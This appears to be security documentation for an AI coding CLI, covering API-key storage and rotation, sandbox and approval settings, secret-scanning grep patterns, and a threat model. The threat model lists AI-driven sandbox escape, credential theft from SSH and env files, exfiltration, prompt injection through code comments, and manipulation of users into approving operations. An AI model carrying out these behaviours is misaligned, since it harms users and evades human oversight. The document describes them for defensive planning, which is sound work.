Storage Options (security ranking): 1. ✅ Environment variables (recommended) 2. ⚠ `.env` file (local development, git-ignored) 3. ❌ `config.toml` (NEVER store secrets) 4. ❌ Source code (NEVER hardcode secrets)

Principle: Secrets should NEVER be committed to version control

---

API Key Management

Environment Variables (Recommended)

Usage:

```
export OPENAI_API_KEY="sk-proj-..."
export ANTHROPIC_API_KEY="sk-ant-..."
export GOOGLE_API_KEY="..."
```

Benefits: - Not stored in files - Inherited by child processes - Easy to rotate (restart session) - CI/CD friendly

Limitations: - Lost on session close (unless in shell profile) - Visible to all processes (security risk on shared systems)

.env Files (Local Development)

Setup:

```
# .env (git-ignored)
OPENAI_API_KEY=sk-proj-...
ANTHROPIC_API_KEY=sk-ant-...
GOOGLE_API_KEY=...
HAL_SECRET_KAVEDARR_API_KEY=...
```

Load with direnv:

```
# Install direnv
brew install direnv  # macOS
apt install direnv   # Linux

# Enable for shell
echo 'eval "$(direnv hook bash)"' >> ~/.bashrc
source ~/.bashrc

# Create .envrc
echo 'dotenv' > .envrc
direnv allow
```

Auto-loads `.env` when entering directory

Shell Environment Policy

Default Behavior: Excludes secrets from AI context

Configuration:

```
[shell_environment_policy]
```

```toml
inherit = "all"  # Inherit all env vars
ignore_default_excludes = false  # Exclude *KEY*, *TOKEN*, *SECRET*
exclude = ["AWS_*", "AZURE_*"]  # Additional exclusions
```

Default Excludes (case-insensitive): - `*KEY*` (OPENAI_API_KEY, DB_KEY) - `*TOKEN*` (GITHUB_TOKEN, ACCESS_TOKEN) - `*SECRET*` (HAL_SECRET_KAVEDARR_API_KEY, DB_SECRET)

Example:

```bash
# Excluded by default
export OPENAI_API_KEY="sk-proj-..."  # Excluded (*KEY*)
export GITHUB_TOKEN="ghp_..."        # Excluded (*TOKEN*)
export DB_SECRET="password"          # Excluded (*SECRET*)

# Included (no KEY/TOKEN/SECRET)
export PATH="/usr/bin"               # Included
export HOME="/home/user"             # Included
export RUST_LOG="debug"              # Included
```

Credential Storage Locations

auth.json (Provider Credentials)

Purpose: Store provider API keys (alternative to environment variables)

Location: `~/.code/auth.json`

Format:

```json
{
  "providers": {
    "openai": {
      "api_key": "sk-proj-..."
    },
    "anthropic": {
      "api_key": "sk-ant-..."
    },
    "google": {
      "api_key": "..."
    },
    "azure": {
      "api_key": "...",
      "endpoint": "https://my-resource.openai.azure.com/"
    }
  }
}
```

Permissions (critical):

```bash
chmod 600 ~/.code/auth.json  # Owner read/write only
```

Security: - ✅ Not committed to git (outside repo) - ✅ Restricted file permissions - ⚠ Still stored on disk (vulnerable if disk compromised) - ⚠ No encryption at rest

Precedence: Environment variables > auth.json > config.toml

MCP Server Credentials

Environment Variables (recommended):

```
[mcp_servers.database]
command = "/path/to/db-server"
# Server reads $DB_PASSWORD from environment

export DB_PASSWORD="secret"
```

MCP env Field (less secure):

```
[mcp_servers.database]
command = "/path/to/db-server"
env = { DB_PASSWORD = "secret" }  # ⚠ Visible in config.toml
```

Best Practice: Use environment variables, not `env` field

HAL Validation Keys

Purpose: Kavedarr API key for HAL policy validation

Storage:

```
export HAL_SECRET_KAVEDARR_API_KEY="..."
```

Usage:

```
export SPEC_OPS_TELEMETRY_HAL=1
/guardrail.plan SPEC-KIT-065
```

Fallback: Set `SPEC_OPS_HAL_SKIP=1` if key unavailable

Secret Rotation

API Key Rotation

Procedure: 1. Generate new API key (provider dashboard) 2. Update environment variable or auth.json 3. Test new key works 4. Revoke old key (provider dashboard)

Example:

```
# Update environment variable
export OPENAI_API_KEY="sk-proj-NEW_KEY"

# Test
code "Hello world"

# If successful, revoke old key at platform.openai.com
```

Frequency: Rotate quarterly or after suspected compromise

---

auth.json Rotation

Procedure:

```bash
# Backup
cp ~/.code/auth.json ~/.code/auth.json.bak

# Edit with new keys
nano ~/.code/auth.json

# Test
code "Test message"

# If successful, delete backup
rm ~/.code/auth.json.bak
```

Secret Leakage Prevention

Git Hooks

Pre-commit Hook (automatic):

```bash
# Checks for common secret patterns
grep -r "sk-proj-" .
grep -r "sk-ant-" .
grep -r "AIza" .  # Google API key pattern
```

Blocks commit if secrets detected

.gitignore

Critical Entries:

```
# Secrets
.env
.env.*
auth.json
*.key
*.pem

# Credential directories
~/.code/auth.json
.aws/
.ssh/
```

Verify:

```bash
git status --ignored
```

Ensure `.env` and `auth.json` are ignored

Secret Scanning

GitHub Secret Scanning (automatic): - Detects API keys in commits - Alerts repository owner - Provider may revoke key

Tools:

```bash
# TruffleHog (detect secrets in history)
pip install trufflehog
```

```
trufflehog filesystem .

# gitleaks (detect secrets in commits)
brew install gitleaks
gitleaks detect --source .
```

Security Best Practices

1. Never Commit Secrets

Bad:

```
# config.toml
[model_providers.openai]
api_key = "sk-proj-..."  # ❌ NEVER DO THIS
```

Good:

```
export OPENAI_API_KEY="sk-proj-..."
```

---

2. Use Least Privilege Keys

OpenAI Example: - ✅ Create project-specific API keys - ✅ Set usage limits ($10/month) - ❌ Don't use account-level keys

Google Example: - ✅ Restrict API key to specific APIs - ✅ Set referrer restrictions - ❌ Don't use unrestricted keys

---

3. Restrict File Permissions

auth.json:

```
chmod 600 ~/.code/auth.json  # Owner read/write only
```

.env:

```
chmod 600 .env
```

Verify:

```
ls -la ~/.code/auth.json
# Should show: -rw------- (600)
```

---

4. Use Environment-Specific Keys

Development:

```
export OPENAI_API_KEY="sk-proj-dev-..."
```

Production:

```
export OPENAI_API_KEY="sk-proj-prod-..."
```

Benefit: Limit damage if dev key compromised

---

5. Audit API Key Usage

OpenAI Dashboard: - Monitor usage by API key - Set usage alerts - Review logs for suspicious activity

Google Cloud Console: - Check API key usage metrics - Set quotas and rate limits - Review access logs

---

CI/CD Secret Management

GitHub Actions

Secrets Storage:

```yaml
# .github/workflows/test.yml
name: Test

on: [push]

jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
      - name: Run tests
        env:
          OPENAI_API_KEY: ${{ secrets.OPENAI_API_KEY }}
        run: |
          cargo test
```

Set Secret: 1. Repository → Settings → Secrets → New repository secret 2. Name: `OPENAI_API_KEY` 3. Value: `sk-proj-...`

Benefits: - Encrypted at rest - Masked in logs - Not visible in fork PRs (security)

GitLab CI

Variables Storage:

```yaml
# .gitlab-ci.yml
test:
  script:
    - cargo test
  variables:
    OPENAI_API_KEY: $OPENAI_API_KEY  # From GitLab CI/CD settings
```

Set Variable: 1. Project → Settings → CI/CD → Variables 2. Key: `OPENAI_API_KEY` 3. Value: `sk-proj-...` 4. ✅ Protected (only available to protected branches) 5. ✅ Masked (hidden in logs)

Incident Response

Suspected Key Compromise

Immediate Actions: 1. **Revoke Key**: Provider dashboard → Revoke API key 2. **Generate New Key**: Create replacement 3. **Update Config**: Environment variables or auth.json 4. **Audit Logs**: Check provider usage logs for unauthorized activity 5. **Notify Team**: Alert collaborators to rotate their keys

Example (OpenAI):

```
# 1. Revoke at platform.openai.com
# 2. Generate new key
# 3. Update
export OPENAI_API_KEY="sk-proj-NEW_KEY"
# 4. Test
code "Test message"
# 5. Notify team via Slack/email
```

Key Found in Git History

Remove from History:

```
# BFG Repo-Cleaner (recommended)
brew install bfg
bfg --replace-text secrets.txt  # List of secrets to remove
git reflog expire --expire=now --all
git gc --prune=now --aggressive

# Force push (WARNING: rewrites history)
git push --force
```

Alternative (git-filter-repo):

```
pip install git-filter-repo
git filter-repo --path auth.json --invert-paths
git push --force
```

Critical: Revoke exposed key FIRST, then clean history

Secret Rotation Schedule

Recommended Frequency

Secret Type	Rotation Frequency	Trigger
API Keys (prod)	Quarterly	Or after compromise
API Keys (dev)	Annually	Or after team change
MCP Server Credentials	Quarterly	Or after compromise
HAL Keys	Annually	Or after team change

Automated Rotation

Future Enhancement:

```
# Rotate API keys automatically
code --rotate-api-key openai

# Prompts:
# 1. Generate new key at provider
# 2. Enter new key
# 3. Test new key
# 4. Revoke old key
```

Status: Not yet implemented (manual rotation required)

Debugging Secret Issues

API Key Not Working

Check:

```
# 1. Verify environment variable exists
echo $OPENAI_API_KEY

# 2. Check auth.json
cat ~/.code/auth.json | jq .providers.openai.api_key

# 3. Test with curl
curl https://api.openai.com/v1/models \
  -H "Authorization: Bearer $OPENAI_API_KEY"
```

Common Causes: - Key revoked at provider - Typo in key - Wrong environment variable name - Shell environment policy excluded key

---

"Unauthorized" Errors

Causes: - API key revoked - Usage limit exceeded - Incorrect provider (using OpenAI key with Anthropic provider)

Fix:

```
# Check provider match
code --config-dump | grep -A 5 model_provider

# Ensure correct key for provider
export OPENAI_API_KEY="sk-proj-..."  # For model_provider = "openai"
export ANTHROPIC_API_KEY="sk-ant-..."  # For model_provider =
"anthropic"
```

Summary

Secrets Management best practices:

1. **Storage**: Environment variables > .env file > NEVER config.toml
2. **Shell Environment Policy**: Auto-excludes *KEY, TOKEN, SECRET* patterns

3. **auth.json**: Alternative storage, requires `chmod 600` permissions
4. **Rotation**: Quarterly for production, annually for development
5. **Leakage Prevention**: Git hooks, .gitignore, secret scanning
6. **CI/CD**: Use encrypted secret storage (GitHub Secrets, GitLab Variables)
7. **Incident Response**: Revoke → Regenerate → Update → Audit → Notify

Critical Rules: - ✖ NEVER commit secrets to git - ✖ NEVER store secrets in config.toml - ✖ NEVER hardcode secrets in source code - ✅ Use environment variables - ✅ Restrict file permissions (600) - ✅ Rotate keys quarterly

Next: Data Flow

Security Best Practices

Configuration hardening, deployment patterns, and security checklists.

Overview

Security best practices reduce attack surface and mitigate risks.

Key Areas: 1. Configuration hardening 2. Sandbox configuration 3. Secrets management 4. Network isolation 5. Dependency management 6. Incident response 7. Secure deployment

---

Configuration Hardening

Minimal Permissions

Default Configuration (recommended):

```
# Use balanced security
sandbox_mode = "workspace-write"  # Not read-only, not full-access
approval_policy = "on-request"    # Review operations before execution

[sandbox_workspace_write]
network_access = false       # Block network by default
allow_git_writes = false     # Protect .git/ folder
writable_roots = []          # No additional writable paths
```

Avoid:

```
sandbox_mode = "danger-full-access"  # ✖ Too permissive
approval_policy = "never"            # ✖ No safety gates
```

Approval Policies

Untrusted Environment (maximum security):

```
approval_policy = "untrusted"  # Approve ALL operations (read, write, execute)
sandbox_mode = "read-only"     # No file writes
```

Development (balanced):

```
approval_policy = "on-request"  # Approve writes/commands
sandbox_mode = "workspace-write"  # Workspace-only writes
```

Production/CI (automation):

```
approval_policy = "on-failure"  # Only ask if command fails
sandbox_mode = "workspace-write"  # Workspace-only writes
```

Never Use (unsafe):

```
approval_policy = "never"              # ❌ No safety gates
sandbox_mode = "danger-full-access"    # ❌ Full system access
```

Provider Selection

Security Ranking (privacy-focused): 1. ✅ **Ollama** (local) - No data leaves machine 2. ✅ **Azure OpenAI** (EU region) - GDPR-compliant, SOC 2, HIPAA 3. ⚠️ **Anthropic** - Privacy-focused, but no data residency guarantee 4. ⚠️ **Google Gemini** - 18-month retention 5. ⚠️ **OpenAI** - 30-day retention

Recommendation: Use Azure OpenAI for enterprise deployments

Sandbox Configuration

Workspace-Write Mode (Recommended)

Configuration:

```
sandbox_mode = "workspace-write"

[sandbox_workspace_write]
network_access = false       # Block network
allow_git_writes = false     # Protect .git/
writable_roots = []          # No additional paths
exclude_tmpdir_env_var = false  # Allow $TMPDIR writes
exclude_slash_tmp = false    # Allow /tmp writes
```

Permissions: - ✅ Read any file on disk - ✅ Write files in workspace (`cwd`) - ✅ Write files in `/tmp` and `$TMPDIR` - ❌ Write files outside workspace - ❌ Access network - ❌ Modify `.git/` folder

---

Read-Only Mode (Maximum Security)

Configuration:

```
sandbox_mode = "read-only"
```

Permissions: - ✅ Read any file on disk - ❌ Write files - ❌ Delete files - ❌ Access network - ❌ Execute privileged operations

Use Case: Code analysis, documentation generation, code review

---

Full Access Mode (Docker Only)

Configuration:

```
sandbox_mode = "danger-full-access"
```

WARNING: Use ONLY in isolated environments (Docker, VM)

Permissions: - ✅ Read any file - ✅ Write any file - ✅ Delete files - ✅ Access network - ✅ Execute privileged operations

Use Case: Running inside Docker container (container provides isolation)

Secrets Management

Environment Variables (Recommended)

Setup:

```
export OPENAI_API_KEY="sk-proj-..."
export ANTHROPIC_API_KEY="sk-ant-..."
export GOOGLE_API_KEY="..."
```

Benefits: - ✅ Not stored in files - ✅ Excluded from AI context (shell_environment_policy) - ✅ Easy to rotate

---

.env Files (Local Development)

Setup:

```
# .env (git-ignored)
OPENAI_API_KEY=sk-proj-...
ANTHROPIC_API_KEY=sk-ant-...
```

Load with direnv:

```
brew install direnv
echo 'eval "$(direnv hook bash)"' >> ~/.bashrc
echo 'dotenv' > .envrc
direnv allow
```

Ensure git-ignored:

```
.env
.env.*
```

---

auth.json (Alternative)

Setup:

```json
{
  "providers": {
    "openai": {
      "api_key": "sk-proj-..."
    },
    "anthropic": {
      "api_key": "sk-ant-..."
    }
  }
}
```

Permissions (critical):

```bash
chmod 600 ~/.code/auth.json
```

Never Commit Secrets

Git Hooks (automatic): - Pre-commit hook checks for secrets - Blocks commit if secrets detected

Manual Check:

```bash
# Search for API keys
grep -r "sk-proj-" .
grep -r "sk-ant-" .
grep -r "AIza" .  # Google API key pattern
```

Network Isolation

Block Network by Default

Configuration:

```toml
[sandbox_workspace_write]
network_access = false  # Block ALL network (default)
```

Behavior: - AI cannot make HTTP requests - AI cannot download files - Prevents data exfiltration

---

Allow Network (Temporarily)

One-Time Override:

```bash
code --config sandbox_workspace_write.network_access=true "npm install"
```

Profile-Based:

```toml
[profiles.network-allowed]
sandbox_mode = "workspace-write"

[profiles.network-allowed.sandbox_workspace_write]
network_access = true
```

Usage:

```
code --profile network-allowed "install dependencies"
```

Dependency Management

Regular Audits

npm Packages:

```
# Weekly audit
npm audit

# Update dependencies
npm update

# Check for outdated
npm outdated
```

Rust Crates:

```
# Install cargo-audit
cargo install cargo-audit

# Weekly audit
cargo audit

# Update dependencies
cargo update
```

Dependency Pinning

npm (lock file):

```
# Commit lock file
git add package-lock.json
git commit -m "chore: update dependencies"

# Use ci for strict lock file adherence
npm ci
```

Cargo (lock file):

```
# Commit lock file
git add Cargo.lock
git commit -m "chore: update dependencies"

# Ensure reproducible builds
cargo build --locked
```

Supply Chain Security

Verify MCP Servers:

```
# Check npm package metadata
npm info @modelcontextprotocol/server-memory
```

```
# Verify source
# - High download count (>1000/week)
# - Official GitHub repository
# - Trusted maintainer
# - MIT/Apache license
```

Avoid: - ❌ Low download count (<100/week) - ❌ No GitHub repository - ❌ Suspicious maintainer - ❌ Recently published (typosquatting risk)

Incident Response

Security Incident Workflow

1. Detection: - Monitor debug logs for suspicious activity - Review evidence repository for anomalies - Check API usage for unexpected spikes

2. Containment:

```
# Revoke compromised API key immediately
# OpenAI: platform.openai.com → API Keys → Revoke
# Generate new key
export OPENAI_API_KEY="sk-proj-NEW_KEY"
```

3. Investigation:

```
# Review debug logs
grep ERROR ~/.code/debug.log | tail -n 100

# Review session history
tail -n 100 ~/.code/history.jsonl

# Review evidence
find docs/SPEC-OPS-004-integrated-coder-hooks/evidence/ -mtime -1
```

4. Eradication:

```
# Delete compromised data
rm ~/.code/history.jsonl
rm -rf docs/SPEC-OPS-004-integrated-coder-hooks/evidence/

# Update dependencies
npm audit fix
cargo update
```

5. Recovery:

```
# Test new API key
code "Hello world"

# Resume normal operations
```

6. Lessons Learned: - Document incident in git - Update security practices - Share findings with team

---

Incident Response Checklist

Compromised API Key: - [ ] Revoke old key at provider dashboard - [ ] Generate new key - [ ] Update environment variable or auth.json - [ ] Test new key works - [ ] Review provider usage logs for unauthorized activity - [ ] Notify team (if applicable)

Data Breach (code with PII sent to AI): - [ ] Identify affected data - [ ] Request provider deletion (support@openai.com) - [ ] Delete local evidence - [ ] Notify affected parties (if GDPR/CCPA applies) - [ ] Update security practices (approval gates, PII redaction)

Malicious Code Injection: - [ ] Identify malicious commits - [ ] Revert commits - [ ] Review all code generated by AI - [ ] Re-audit codebase - [ ] Update approval policy (more strict)

Secure Deployment

Docker Deployment

Dockerfile:

```
FROM rust:1.70 as builder
WORKDIR /app
COPY . .
RUN cargo build --release

FROM debian:bullseye-slim
COPY --from=builder /app/target/release/code /usr/local/bin/code

# Create non-root user
RUN useradd -m -u 1000 coder
USER coder

# Set environment variables
ENV CODEX_HOME=/home/coder/.code
ENV RUST_LOG=info

ENTRYPOINT ["code"]
```

Benefits: - ✅ Isolated environment - ✅ Non-root user - ✅ Reproducible builds

---

Kubernetes Deployment

Deployment YAML:

```
apiVersion: apps/v1
kind: Deployment
metadata:
  name: code-assistant
spec:
  replicas: 1
  template:
    spec:
      containers:
      - name: code-assistant
        image: code-assistant:latest
        env:
```

```yaml
        - name: OPENAI_API_KEY
          valueFrom:
            secretKeyRef:
              name: api-keys
              key: openai-api-key
        securityContext:
          runAsNonRoot: true
          runAsUser: 1000
          readOnlyRootFilesystem: true
        resources:
          limits:
            memory: "2Gi"
            cpu: "1000m"
```

Secret Creation:

```bash
kubectl create secret generic api-keys \
  --from-literal=openai-api-key="sk-proj-..."
```

CI/CD Security

GitHub Actions:

```yaml
name: Test

on: [push]

jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
      - name: Run tests
        env:
          OPENAI_API_KEY: ${{ secrets.OPENAI_API_KEY }}
        run: |
          cargo test
```

Security: - ✅ Secrets encrypted at rest - ✅ Secrets masked in logs - ✅ Secrets not visible in fork PRs

---

Security Checklist

Initial Setup

- [ ] **Sandbox Mode**: Use `workspace-write` (not `danger-full-access`)
- [ ] **Approval Policy**: Use `on-request` (not `never`)
- [ ] **Network Access**: Disable (`network_access = false`)
- [ ] **Git Protection**: Disable git writes (`allow_git_writes = false`)
- [ ] **Secrets**: Use environment variables (not config.toml)
- [ ] **API Keys**: Store in .env or auth.json (git-ignored)
- [ ] **File Permissions**: `chmod 600 ~/.code/auth.json`
- [ ] **Provider**: Use Azure OpenAI (for enterprise) or Ollama (for privacy)

Weekly Maintenance

- [ ] **Audit Dependencies**: `npm audit`, `cargo audit`
- [ ] **Update Dependencies**: `npm update`, `cargo update`
- [ ] **Review Logs**: Check `~/.code/debug.log` for errors
- [ ] **Monitor Costs**: Review API usage dashboards
- [ ] **Evidence Footprint**: Run `/spec-evidence-stats`
- [ ] **Rotate Logs**: Archive old debug logs

Monthly Review

- [ ] **Rotate API Keys**: Generate new keys, revoke old
- [ ] **Review Evidence**: Archive evidence >30 days old
- [ ] **Delete History**: Delete `~/.code/history.jsonl` if sensitive
- [ ] **Security Audit**: Review threat model, update mitigations
- [ ] **MCP Servers**: Audit MCP server configurations
- [ ] **Compliance**: Review GDPR/SOC 2 compliance status

Quarterly Tasks

- [ ] **Threat Model Update**: Re-assess risks, update mitigations
- [ ] **Security Training**: Review security best practices
- [ ] **Incident Response Drill**: Test incident response procedures
- [ ] **Vendor Assessment**: Review AI provider security certifications
- [ ] **Compliance Audit**: GDPR, SOC 2, CCPA compliance check

---

Common Security Mistakes

Mistake 1: Using Full Access Mode

Problem:

```
sandbox_mode = "danger-full-access"  # ❌ Too permissive
```

Fix:

```
sandbox_mode = "workspace-write"  # ✅ Balanced security
```

Mistake 2: Hardcoding Secrets

Problem:

```
[model_providers.openai]
api_key = "sk-proj-..."  # ❌ Committed to git
```

Fix:

```
export OPENAI_API_KEY="sk-proj-..."  # ✅ Environment variable
```

Mistake 3: No Approval Gates

Problem:

```
approval_policy = "never"  # ❌ AI runs anything
```

Fix:

```
approval_policy = "on-request"  # ✅ Review before execution
```

Mistake 4: Allowing Network Access

Problem:

```
[sandbox_workspace_write]
network_access = true  # ❌ Data exfiltration risk
```

Fix:

```
[sandbox_workspace_write]
network_access = false  # ✅ Block network
```

Mistake 5: Not Rotating API Keys

Problem: Using same API key for months/years

Fix: Rotate quarterly

```
# Generate new key, update environment
export OPENAI_API_KEY="sk-proj-NEW_KEY"

# Revoke old key at provider dashboard
```

Mistake 6: Not Auditing Dependencies

Problem: Vulnerable dependencies undetected

Fix: Weekly audits

```
npm audit
cargo audit
```

Mistake 7: Committing .env Files

Problem: `.env` file committed to git

Fix: Ensure git-ignored

```
.env
.env.*
```

Cleanup (if already committed):

```
git rm --cached .env
git commit -m "chore: remove .env from git"

# Remove from history
bfg --delete-files .env
```

```
git push --force
```

Advanced Security

Encryption at Rest (Future)

Goal: Encrypt local files

Configuration (future):

```
[security]
encrypt_at_rest = true
encryption_key = "$ENCRYPTION_KEY"
```

Status: Not yet implemented

PII Detection (Future)

Goal: Automatically detect PII before sending to AI

Usage (future):

```
code --detect-pii "task"
# WARNING: Detected PII in code:
# - Email addresses (3 occurrences)
# - Phone numbers (1 occurrence)
# Redact before proceeding? [yes/no]
```

Status: Not yet implemented

Network Allowlisting (Future)

Goal: Allow specific hosts only

Configuration (future):

```
[sandbox_workspace_write]
network_access = true
allowed_hosts = [
    "api.openai.com",
    "api.anthropic.com"
]
```

Status: Not yet implemented

Summary

Security Best Practices highlights:

1. **Configuration Hardening**: `workspace-write` + `on-request` approval
2. **Sandbox Configuration**: Block network, protect .git/, workspace-only writes
3. **Secrets Management**: Environment variables, .env files, `chmod`

`600`

4. **Network Isolation**: Block network by default, temporary overrides
5. **Dependency Management**: Weekly audits (`npm audit`, `cargo audit`)
6. **Incident Response**: Revoke → Regenerate → Update → Audit → Notify
7. **Secure Deployment**: Docker (non-root user), Kubernetes (secrets), CI/CD (encrypted secrets)

Security Checklist: - ✅ Use `workspace-write` sandbox mode - ✅ Enable approval gates (`on-request`) - ✅ Block network access - ✅ Protect .git/ folder - ✅ Store secrets in environment variables - ✅ Audit dependencies weekly - ✅ Rotate API keys quarterly - ✅ Delete sensitive history periodically

Common Mistakes: - ❌ Using full access mode - ❌ Hardcoding secrets in config.toml - ❌ No approval gates - ❌ Allowing network access - ❌ Not rotating API keys - ❌ Not auditing dependencies - ❌ Committing .env files

Provider Recommendations: - **Enterprise**: Azure OpenAI (GDPR, SOC 2, HIPAA) - **Privacy**: Ollama (local models, no data leaves machine) - **General**: Anthropic (privacy-focused, but no data residency guarantee)

See Also: - Threat Model - Attack surfaces and risk assessment - Sandbox System - Detailed sandbox configuration - Secrets Management - API key storage and rotation - Compliance - GDPR, SOC 2, regulatory requirements

---

Threat Model

Attack vectors, risk assessment, and mitigation strategies.

Overview

This document analyzes security threats for the **codex CLI**, an AI-powered coding assistant that: - Executes AI-generated code in a sandboxed environment - Sends code/context to external AI providers (OpenAI, Anthropic, Google) - Accesses local filesystem and git repositories - Integrates with external tools via MCP (Model Context Protocol)

Threat Model Scope: Codex CLI running on developer workstation

---

Attack Surfaces

1. AI Provider Communication

Attack Surface: Network communication with AI providers (OpenAI, Anthropic, Google)

Threat Actors: - Malicious AI provider (compromised or rogue) - Man-in-the-middle attacker - Network eavesdropper

Attack Vectors: 1. **Prompt Injection** - Attacker injects malicious instructions via code comments, filenames, or git commit messages 2. **Data Exfiltration** - AI provider logs/stores sensitive code or credentials 3. **Man-in-the-Middle** - Attacker intercepts API communication 4. **Provider Account Compromise** - Stolen API keys used to access AI services

---

2. Local Code Execution

Attack Surface: Execution of AI-generated code in sandbox

Threat Actors: - Malicious AI model (compromised, adversarial, or buggy) - Local attacker with code injection capability

Attack Vectors: 1. **Sandbox Escape** - AI-generated code breaks out of sandbox to access unauthorized files/network 2. **Data Destruction** - AI deletes/corrupts files outside sandbox restrictions 3. **Command Injection** - AI-generated shell commands exploit vulnerabilities 4. **Privilege Escalation** - AI-generated code gains unauthorized permissions

---

3. Filesystem Access

Attack Surface: Local filesystem read/write operations

Threat Actors: - Malicious AI model - Local attacker

Attack Vectors: 1. **Credential Theft** - AI reads `.env`, `~/.aws/credentials`, `~/.ssh/id_rsa` 2. **Source Code Exfiltration** - AI sends proprietary code to attacker-controlled server 3. **Malicious File Writes** - AI writes backdoors, malware, or corrupted files 4. **Symlink Attacks** - AI exploits symlinks to access files outside allowed paths

---

4. MCP Server Integration

Attack Surface: External MCP servers (local-memory, git-status, custom servers)

Threat Actors: - Malicious MCP server author - Compromised MCP server (supply chain) - Local attacker

Attack Vectors: 1. **Malicious MCP Server** - Attacker-controlled server exfiltrates data or executes malicious code 2. **MCP Server Compromise** - Legitimate server hijacked via dependency vulnerability 3. **Tool Abuse** - AI misuses legitimate MCP tools to access unauthorized data 4. **Data Leakage** - MCP server logs sensitive information

---

5. Configuration and Secrets

Attack Surface: Configuration files, API keys, auth tokens

Threat Actors: - Local attacker - Accidental exposure (git commit)

Attack Vectors: 1. **API Key Theft** - Attacker steals `~/.code/config.toml` or environment variables 2. **Config File Manipulation** - Attacker modifies config to execute malicious code 3. **Secrets in Git** - API keys accidentally committed to public/private repositories 4. **Plaintext Storage** - Secrets stored unencrypted on disk

---

Risk Assessment

Risk Matrix

Threat	Likelihood	Impact	Overall Risk	Mitigation Priority
Prompt Injection	High	Medium	**High**	P0 (Critical)
Sandbox Escape	Medium	Critical	**High**	P0 (Critical)
API Key Theft	Medium	High	**High**	P1 (High)
Data Exfiltration (to AI provider)	High	Medium	**High**	P1 (High)
Malicious MCP Server	Low	Critical	**Medium**	P2 (Medium)
Config File Manipulation	Low	High	**Medium**	P2 (Medium)
Credential Theft (filesystem)	Medium	High	**High**	P1 (High)
Man-in-the-Middle	Low	Medium	**Low**	P3 (Low)

Risk Definitions

Likelihood: - Low: Unlikely without specific attacker targeting - Medium: Plausible in common scenarios - High: Likely to occur in normal usage

Impact: - Low: Limited damage, easily reversible - Medium: Significant damage, difficult to reverse - High: Major damage, expensive to fix - Critical: Complete compromise, irreversible harm

---

Mitigations

M1: Prompt Injection Defense

Risk: Prompt injection via code comments, filenames, git messages

Mitigation: 1. **Input Sanitization** - Strip/escape special characters in file paths, commit messages 2. **Context Isolation** - Separate system instructions from user code in AI prompts 3. **Output Validation** - Validate AI responses for suspicious patterns (URLs, shell commands) 4. **User Awareness** - Warn users to review AI-generated code before execution

Status: Partially implemented (user review required for all commands)

M2: Sandbox Isolation

Risk: Sandbox escape leading to unauthorized file/network access

Mitigation: 1. **OS-Level Sandboxing** - Use macOS Sandbox API, Linux landlock/seccomp 2. **Filesystem Restrictions** - Whitelist writable paths, blacklist sensitive files (`.git/`, `~/.ssh/`) 3. **Network Isolation** - Block network by default, require explicit approval 4. **Git Write Protection** - Protect `.git/` folder in workspace-write mode

Status: Implemented (3 sandbox levels: read-only, workspace-write, full-access)

Configuration:

```toml
sandbox_mode = "workspace-write"

[sandbox_workspace_write]
network_access = false  # Block network
allow_git_writes = false  # Protect .git/ folder
```

M3: API Key Protection

Risk: API key theft or accidental exposure

Mitigation: 1. **Environment Variables** - Store API keys in env vars, not config files 2. **File Permissions** - Set `config.toml` to `0600` (owner read/write only) 3. **Git Ignore** - Add `.env`, `config.toml` to `.gitignore` 4. **Key Rotation** - Regularly rotate API keys (90-day max) 5. **Pre-Commit Hooks** - Block commits containing API key patterns

Status: Partially implemented (env var support, file permissions)

Best Practice:

```bash
# Store API keys in environment variables
export OPENAI_API_KEY="sk-proj-..."

# NEVER in config.toml:
# api_key = "sk-proj-..."  # ✗ BAD
```

M4: Data Minimization

Risk: Sensitive data sent to AI providers

Mitigation: 1. **Local Processing** - Use local models (Ollama) for sensitive code 2. **Context Filtering** - Strip credentials, API keys, PII before sending to AI 3. **Zero Data Retention** - Enable ZDR mode for OpenAI accounts 4. **Selective Context** - Only send relevant files, not entire codebase

Status: Partially implemented (ZDR mode support, user controls context selection)

Configuration:

```
disable_response_storage = true  # ZDR mode (zero data retention)
```

M5: MCP Server Vetting

Risk: Malicious or compromised MCP servers

Mitigation: 1. **Source Verification** - Only install MCP servers from trusted sources (npm official, GitHub verified) 2. **Code Review** - Review MCP server source code before installation 3. **Sandboxing** - Run MCP servers in isolated processes with limited permissions 4. **Permission System** - Require explicit approval for MCP tool calls (future)

Status: Partially implemented (process isolation)

Best Practice:

```
# Only use official MCP servers
[mcp_servers.local-memory]
command = "npx"
args = ["-y", "@modelcontextprotocol/server-memory"]  # Official npm package

# Avoid untrusted servers:
# [mcp_servers.random]
# command = "/tmp/untrusted-script.sh"  # ✗ BAD
```

M6: Least Privilege

Risk: Excessive permissions leading to unauthorized access

Mitigation: 1. **Read-Only Default** - Start with `sandbox_mode = "read-only"` 2. **Approval Gates** - Require approval for write/network operations 3. **Per-Command Permissions** - Grant permissions per-command, not globally 4. **Workspace Isolation** - Restrict writes to project directory only

Status: Implemented (3-tier approval system)

Configuration:

```
sandbox_mode = "read-only"  # Most restrictive
approval_policy = "on-request"  # Require approval for writes
```

M7: Audit Logging

Risk: Undetected security incidents

Mitigation: 1. **Evidence Collection** - Log all AI-generated commands, file operations 2. **Telemetry** - Track quality gate decisions, consensus outcomes 3. **Session History** - Store command history in `~/.code/history.jsonl` 4. **Tamper Protection** - Write-once evidence files

Status: Implemented (evidence repository, telemetry, history)

Location: `docs/SPEC-OPS-004-integrated-coder-hooks/evidence/`

M8: Secure Defaults

Risk: Insecure out-of-the-box configuration

Mitigation: 1. **Read-Only Default** - `sandbox_mode = "read-only"` by default 2. **Approval Required** - `approval_policy = "on-request"` by default 3. **Network Blocked** - `network_access = false` by default 4. **Git Protected** - `allow_git_writes = false` by default

Status: Implemented (secure defaults)

Residual Risks

After applying all mitigations, the following **residual risks** remain:

R1: AI Model Capability

Risk: AI models become capable enough to: - Craft sophisticated sandbox escape exploits - Social engineer users into approving malicious operations - Hide malicious code in legitimate-looking changes

Mitigation: None (inherent risk of AI coding assistants)

Acceptance Criteria: Users must review all AI-generated code

R2: Zero-Day Sandbox Escape

Risk: Unknown OS-level sandbox vulnerabilities

Mitigation: Limited (rely on OS vendor patches)

Acceptance Criteria: Monitor OS security advisories, apply patches promptly

---

R3: Supply Chain Compromise

Risk: Compromised dependencies (npm packages, Rust crates)

Mitigation: Limited (rely on ecosystem security practices)

Acceptance Criteria: Pin dependencies, review changes on updates

---

R4: Insider Threat (AI Provider)

Risk: AI provider employees access customer code/data

